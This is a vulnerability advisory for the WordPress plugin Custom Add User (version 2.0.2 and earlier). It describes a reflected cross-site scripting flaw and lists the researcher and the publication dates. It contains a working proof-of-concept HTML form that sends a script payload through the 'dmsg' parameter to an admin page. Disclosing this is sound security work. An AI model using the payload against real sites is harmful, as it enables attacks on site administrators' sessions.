WordPress Plugin Vulnerabilities

Custom Add User <= 2.0.2 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:10008/wp-admin/options-general.php">
      <input type="hidden" name="page" value="custom-add-user-settings" />
      <input type="hidden" name="dmsg" value="<script>alert(document.domain)</script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

No known fix

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Shreya Pohekar
Submitter
Shreya Pohekar
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-02-02 (about 1 years ago)
Added
2023-02-02 (about 1 years ago)
Last Updated
2023-02-02 (about 1 years ago)

Other